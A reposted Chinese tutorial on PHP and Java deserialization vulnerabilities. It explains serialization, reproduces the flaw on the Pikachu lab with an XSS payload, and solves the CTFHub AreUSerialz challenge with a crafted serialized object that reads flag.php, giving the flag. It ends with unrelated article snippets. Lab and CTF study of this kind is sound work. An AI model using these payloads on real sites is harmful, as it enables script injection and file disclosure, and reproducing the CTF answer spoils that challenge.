web渗透-反序列化漏洞

news2025/1/18 7:40:21

一、简介

就是把一个对象变成可以传输的字符串,目的就是为了方便传输。假设,我们写了一个class,这个class里面存有一些变量。当这个class被实例化了之后,在使用过程中里面的一些变量值发生了改变。以后在某些时候还会用到这个变量,如果我们让这个dlass一直不销毁,等着下一次要用它的时候再一次被调用的话,浪费系统资源。当我们写一个小型的项目可能没有太大的影响,但是随着项目的壮大,一些小问题被放大了之后就会产生很多麻烦。这个时候php就和我们说,你可以把这个对象序列化了,存成一个字符审,当你要用的时候再放他出来就好了。在我们讲php反序列化的时候,基本都是围绕着serialize(). unserialize()这两个函数。

二、PHP序列化和反序列化

序列化

#  序列化函数:serialize()

<?php
class  Person {
  var $name="varin";
}
$user1 = new Person();
echo serialize($user1);
?>

image.png

O:对象
6:对象名称长度
Person:对象名称
1:表示有一个值
s:字符串
4:变量名长度
...

  常见的几个魔法函数:
        __construct()当一个对象创建时被调用

        __destruct()当一个对象销毁时被调用

        __toString()当一个对象被当作一个字符串使用

        __sleep() 在对象在被序列化之前运行

        __wakeup将在序列化之后立即被调用

反序列化

<?php
class  Person {
  var $name="varin";
}
// 序列化
$user1 = new Person();
$user1_ser= serialize($user1);
// 反序列化
$user2 = unserialize($user1_ser);
print_r($user2);
echo "<br>";
echo $user1->name;
?>

image.png

三、JAVA序列化和反序列化

使用:

序列化

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class Test {
    public static void main(String[] args) throws IOException {

        // 序列化
        Person person = new Person("varin");
        System.out.println(person);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./varin.txt"));
        objectOutputStream.writeObject(person);
        objectOutputStream.flush();
        objectOutputStream.close();


    }
}
class Person implements Serializable{

    public Person(){

    }
    private  String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Person(String name) {
        this.name = name;
    }

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                '}';
    }
}

image.png

反序列化

技巧:若在网站上看见一段数据以r00AB开头,大概率是JAVA序列化Base64加密的数据
或者:是以aced开头,是java序列化的十六进制数据

import java.io.*;

public class Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //反序列化
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("./varin.txt"));
        Person o =(Person) objectInputStream.readObject();
        objectOutputStream.close();
        System.out.println(o.getName());


    }
}

image.png

扩展-java执行系统命令

import java.io.*;

public class Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {


        // java执行系统命令
        Process ifconfig = Runtime.getRuntime().exec("ipconfig");
        InputStream inputStream = ifconfig.getInputStream();

        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
        String s = null;
        while (( s = bufferedReader.readLine()) != null) {
            System.out.println(s);
        }
        bufferedReader.close();



    }
}

image.png

四、PHP反序列化漏洞重现

  • 靶场:pikachu
// 漏洞源码
/*
核心:
以POST方式接收序列化对象o,
接收后并将o对象序列化后赋值给对象$unser,页面打印对象$unser的test属性
*/

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */


$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);

if ($SELF_PAGE = "unser.php"){
    $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}

$PIKA_ROOT_DIR =  "../../";
include_once $PIKA_ROOT_DIR.'header.php';


class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}

//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }

}
?>

# 序列化结构:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

image.png

五、CTF-PHP反序列化漏洞利用

平台:https://www.ctfhub.com/
题目名称:AreUSerialz
思路:

// 弱类型对比:== (存在漏洞:“2”==“ 2” 返回true)
// 强类型对比:=== 


1 git方式提交str参数
2unserialize()函数表示需要序列化数据
3 FileHandler类三个变量,5个函数其中两个魔法函数,3个自定义函数
4 魔法函数:__construct()创建 、__destruct()销毁
5 write ()read()process()
6 因为代码中并创建对象,所以未使用__construct()函数,只执行__destruct()
7 __destruct()函数中将$content变量中的值清空了,所以write方法无效
8 利用弱类型对比漏洞,进入到read方法
9 因为代码中有文件包含:include("flag.php"),所以尝试读取,$filename=“flag.php”
10 构造序列化字符串




<?php
class FileHandler {
    protected $op=" 2";
    protected $filename="flag.php";
    protected $content="";
}
$o = new FileHandler();
echo serialize($o);
# O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

?>
# 将序列化字符赋值给str并使用get方法请求网址后,进入到网页的源代码页面

image.png

# flag
$FLAG = "ctfhub{128ad0a5b38aae3ac705237b}"

六、扩展:WebGoat靶场实战(JAVA靶场)

  • github地址:https://github.com/WebGoat/WebGoat/tags
  • 注意:jar包运行环境为:JDK17
  • 启动jar包命令:java -jar webgoat-2023.8.jar
  • 访问网址:[http://127.0.0.1:8080/WebGoat](http://127.0.0.1:8080/WebGoat)

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1881329.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

压缩包怎么解压,解压压缩包不损坏文件

常见格式&#xff1a; ZIP&#xff1a;最常见的压缩文件格式之一&#xff0c;支持跨平台。RAR&#xff1a;另一种常见的压缩文件格式&#xff0c;通常压缩率比ZIP高&#xff0c;但不如ZIP普及。7Z&#xff1a;来自7-Zip的压缩格式&#xff0c;支持更高的压缩率和一些高级特性。…

长沙高校大学智能制造实验室数字孪生可视化系统平台建设项目验收

长沙高校大学智能制造实验室始终站在科技前沿&#xff0c;不断探索和实践智能制造的新技术、新方法。数字孪生技术作为智能制造领域的重要分支&#xff0c;其通过将物理世界的实体映射到数字世界&#xff0c;实现对实体的实时监测、模拟和分析&#xff0c;为智能制造提供了强大…

Python | Leetcode Python题解之第208题实现Trie(前缀树)

题目&#xff1a; 题解&#xff1a; class Trie:def __init__(self):self.children [None] * 26self.isEnd Falsedef searchPrefix(self, prefix: str) -> "Trie":node selffor ch in prefix:ch ord(ch) - ord("a")if not node.children[ch]:retur…

解决本机电脑只能通过localhost访问,不能通过127.0.0.1访问

背景问题 有天我启动项目&#xff0c;发现项目连接Mysq总是连接不上&#xff0c;查了url、ip、port、用户名和密码都没有错&#xff0c;就是连接不上mysql数据库&#xff0c;后来通过查找资料发现有多个进程占用3306端口。 pid 6016 是mysqld服务 而pid 9672 是一个叫 svchos…

Python-数据分析组合可视化实例图【附完整源码】

数据分析组合可视化实例图 开篇&#xff1a;应女朋友的要求&#xff0c;于是写下了这篇详细的数据可视化代码及完整注释 一&#xff1a;柱状图、折线图横向组合网格布局 本段代码使用了pyecharts库来创建一个包含多个图表&#xff08;柱状图、折线图&#xff09;和网格布局的…

理想汽车提出3DRealCar:首个大规模3D真实汽车数据集

理想提出3DRealCar&#xff0c;这是第一个大规模 3D 实车数据集&#xff0c;包含 2500 辆在真实场景中拍摄的汽车。我们希望 3DRealCar 可以成为促进汽车相关任务的宝贵资源。 理想汽车提出3DRealCar&#xff1a;首个大规模3D真实汽车数据集! 我们精心策划的高质量3DRealCar数…

帝国CMS(EmpireCMS)漏洞复现

简介 《帝国网站管理系统》英文译为Empire CMS&#xff0c;简称Ecms&#xff0c;它是基于B/S结构&#xff0c;且功能强大而帝国CMS-logo易用的网站管理系统。 帝国CMS官网&#xff1a;http://www.phome.net/ 参考相关漏洞分析文章&#xff0c;加上更详细的渗透测试过程。 参考…

使用Pytho删除docx文档中的页眉和页脚

介绍&#xff1a; 在日常工作中&#xff0c;我们经常需要处理文档&#xff0c;其中包括删除或修改页眉和页脚。本文将介绍如何使用Python编程语言和wxPython模块创建一个简单的GUI应用程序&#xff0c;帮助我们删除docx文档中的页眉和页脚。 C:\pythoncode\new\deleteyemeiyej…

数据结构:期末考 第六次测试(总复习)

一、 单选题 &#xff08;共50题&#xff0c;100分&#xff09; 1、表长为n的顺序存储的线性表&#xff0c;当在任何位置上插入或删除一个元素的概率相等时&#xff0c;插入一个元素所需移动元素的平均个数为&#xff08; D &#xff09;.&#xff08;2.0&#xff09; A、 &am…

51单片机项目-点亮第一个LED灯

目录 新建项目选择型号添加新文件到该项目设置字体和utf-8编码二极管如何区分正负极原理&#xff1a;CPU通过寄存器来控制硬件电路 用P2寄存器的值控制第一个灯亮进制转换编译查看P2寄存器的地址生成HEX文件把代码下载到单片机中下载程序到单片机 新建项目 选择型号 stc是中国…

算法09 日期相关模拟算法【C++实现】

这是《C算法宝典》算法篇的第09节文章啦~ 如果你之前没有太多C基础&#xff0c;请点击&#x1f449;专栏&#xff1a;C语法入门&#xff0c;如果你C语法基础已经炉火纯青&#xff0c;则可以进阶算法&#x1f449;专栏&#xff1a;算法知识和数据结构&#x1f449;专栏&#xff…

【Linux进程通信】匿名管道的常见特性、两进程间通过管道通信的情况分析

目录 一、只有血缘关系的进程之间才可以进行管道通信 二、管道只可以单向通信 三、进程间通信是会协同的-同步与互斥的 1.父子进程读写端都正常&#xff0c;管道为空父进程读端阻塞。 2.父子进程读写端都正常&#xff0c;管道满时子进程写端阻塞。 3.子进程写端关闭&…

idea集成uglifycss压缩混淆css

Uglifycss介绍 https://www.npmjs.com/package/uglifycss 命令行 $ uglifycss [options] [filename] [...] > output 选项&#xff1a; --max-line-len n每个字符添加一个换行符&#xff08;大约&#xff09;; 表示无换行符&#xff0c;并且是默认值n0 --expand-vars扩…

计算机组成原理——锁存器和触发器

文章目录 1. SR锁存器 1.1 电路结构 1.2 电路解析 2. 带en输入的SR锁存器 2.1 ​​​​​​​电路结构 2.2 工作原理 3. ​​​​​​​带En输入的D锁存器 3.1 电路结构 3.2 工作原理 4. ​​​​​​​边沿触发的D触发器 4.1 电路结构 4.2 工作原理 1. SR锁存器 …

【Qt知识】window frame 对窗口坐标的影响

在Qt中&#xff0c;窗口框架&#xff08;Window Frame&#xff09;对Widget的尺寸计算和坐标定位有着直接的影响&#xff0c;这主要是因为窗口框架本身占据了一定的空间&#xff0c;包括标题栏、最小化/最大化/关闭按钮以及边框。这部分额外的空间在不同的应用场景下需要被考虑…

Tomcat服务部署、优化及多实例实验

一、Tomcat基础 1.Tomcat简介 Tomcat服务器是一个免费的开放源代码的Web应用服务器&#xff0c;Tomcat虽然和Apache或者Nginx这些Web服务器一样&#xff0c;具有处理HTML页面的功能&#xff0c;然而由于其处理静态HTML的能力远不及Apache或者Nginx&#xff0c;所以Tomcat通常…

Geeker-Admin:现代化的开源后台管理框架

Geeker-Admin&#xff1a;优雅管理&#xff0c;高效开发&#xff0c;尽在Geeker-Admin- 精选真开源&#xff0c;释放新价值。 概览 Geeker-Admin是一个基于Vue 3.4、TypeScript、Vite 5、Pinia和Element-Plus构建的开源后台管理框架。它为开发者提供了一套现代化、响应式的管理…

设计NOR Flash(FMSC接口)的Flashloader(MCU: stm32f4)

目录 概述 1 硬件 1.1 MCU和S29GL128P10TFI01控制电路 1.1.1 S29GL128P10TFI01 1.1.2 MCU与NOR Flash接口 1.2 STM32F4的FSMC接口 1.2.1 时序信号 1.2.2 外部存储器接口信号 2 Flash leader功能实现 2.1 框架结构介绍 2.2 S29GL128P10TFI01的Flash leader框架 2.3 N…

Camera Raw:编辑 - 混色器

Camera Raw “编辑”模块中的混色器 Color Mixer面板用于调整图像中的颜色&#xff0c;通过控制色相、饱和度和明亮度&#xff0c;可以对特定颜色进行微调&#xff0c;优化图像的色彩表现。 面板分为“混色器”和“点颜色”两个模式。 ◆ ◆ ◆ 使用方法与技巧 1、查看要调整…

【机器学习】Python zip 函数

目录&#xff1a; 什么是zip函数zip的基本使用zip与列表、字典的结合zip的长度匹配规则实际应用 1. 什么是zip函数 zip函数在Python中用于将多个可迭代对象&#xff08;如列表、元组、字符串等&#xff09;打包成一个元组的列表&#xff0c;其中每个元组包含的是原始对象中的…